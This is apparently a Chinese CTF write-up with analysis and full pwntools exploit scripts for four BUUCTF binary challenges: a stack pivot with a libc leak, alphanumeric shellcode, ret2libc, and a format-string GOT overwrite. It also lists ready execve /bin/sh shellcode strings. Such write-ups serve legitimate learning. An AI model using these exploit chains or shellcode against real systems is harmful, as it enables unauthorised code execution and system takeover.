1、gyctf_2020_borrowstack分析


64位NX,好像有两次输入
main函数

有两个read,但是有了栈溢出为什么还要搞一个read呢,仔细看一看,这个溢出量并不大,而且bank是bass段哦,应该是修改rbp的值指向bass段,这里利用leave就可以让rsp指向bass就把栈迁移过去了,但是看了一下大佬的经历,有坑啊,虽然已经知道了leave的作用,还是难以下手,慢慢试一试吧
具体的坑是bank距离got表太近,执行rop的时候把got表覆盖了,当我们要用read是调用失败
那么我们需要的步骤是先溢出后让栈转移,然后利用puts泄露libc,找one_gadget,然后溢出到one_gadget的地方获取shell
先来看看one_gadget

这下就看到它的用处了吧
题目有点复杂,先来把要用的装备找齐了
溢出:0x60+8
bank=0x601080

=0x400703
ret=0x4004c9
leave=0x400699
然后捏,我们要稍微把地址抬高一些该怎么做呢
在bank的基础上加一点,看到有师傅在第二次输入用ret*20来解决,感觉挺方便的,试一试嘛,后面再试试*0x18可不可以,one_gadget找不来嘿嘿
2、gyctf_2020_borrowstack cat flag
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29234)
#p=process("./gyctf_2020_borrowstack")
bank=0x601080
rdi=0x400703
ret=0x4004c9
leave=0x400699
payload=b'a'*0x60+p64(bank)+p64(leave)
p.recvuntil("u want")
p.send(payload)
elf=ELF("./gyctf_2020_borrowstack")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
payload=p64(ret)*0x18+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("your borrow ")
p.send(payload)
p.recv()
puts=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts))
gadget=0x4526a
libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
one_gadget=base+gadget
payload=b'a'*(0x60+8)+p64(one_gadget)
p.sendline(payload)
p.interactive()

糊里糊涂……
3、mrctf2020_shellcode_revenge分析(可见字符shellcode)
昨天实在是有点累,今天继续做题


64位开了full relro 还有pie啊
有一个输入,去ida看看,还只能看看汇编

他这,是让我直接传shellcode啊,buf这么大
唉,其实64位的之前都设了环境的,其实不设也行,之前收集过可见和不可见的shellcode
不可见:
32位段字节shellcode(21字节)
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64位较短的shellcode(23字节)
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
可见版本(由可见字符组成):
X64:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
32位:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
我们都来试试,看看有什么区别
4、mrctf2020_shellcode_revenge cat flag
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",27592)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(shellcode)
p.interactive()
这个 东西打不通,也不想分析汇编了[捂脸],其实就是这个地方在作怪,把字符限制得死死的,跳跳糖一样

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",27592)
shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()
也可以用alpha3来生成,但是有现成的了

5、jarvisoj_level5分析


64位开了NX,一个输入
主要是这个函数

明显的栈溢出,由于没有system(“/bin/sh”)我们直接ret2libc算了,利用write函数泄露libc,有三个参数,我们先找寄存器

用这个试试
rdi=0x4006b3
rsir15=0x4006b1
返回地址vuln=0x4005E6
然后直接开写
6、jarvisoj_level5实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29004)
elf=ELF("./level3_x64")
write_plt=elf.plt['write']
write_got=elf.got['write']
rdi=0x4006b3
rsir15=0x4006b1
vuln=0x4005E6
payload=b'a'*(0x80+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(vuln)
p.recvuntil("Input:\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))
libc=ELF("./libc-2.23.so")
base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b"/bin/sh"))
payload=b'a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(sys)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

较简单啊
7、wdb_2018_2nd_easyfmt分析


32位开了NX,是个复读机,讨厌死了
main函数

read不会造成溢出,但是开了NX,不能直接传shellcode,那会不会栈上有格式化字符串漏洞呢

haha被逮捕了,偏移是6利用它我们想到的就是用puts_got泄露libc基址然后就得到system的地址,之前做到的,因为got表可写就可以把printf_got改成system的地址,在写入/bin/sh就可以了
来看一些重要的参数
fmtstr_payload(offset, {address1: value1, address2: value2, ...}, numbwritten=0, write_size='byte')
对于这道题比较方便,偏移是6,修改是{printf_got:sys}其他的以写入和发送方式默认就行
8、wdb_2018_2nd_easyfmt实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28996)
#p=process("./wdb_2018_2nd_easyfmt")
elf=ELF("./wdb_2018_2nd_easyfmt")
puts_got=elf.got['puts']
payload = p32(puts_got) + b'%6$s'
p.recvuntil("Do you know repeater?")
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
print(hex(puts))
libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
printf_got=elf.got['printf']
payload=fmtstr_payload(6,{printf_got:sys})
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

好困,休息了zzz……










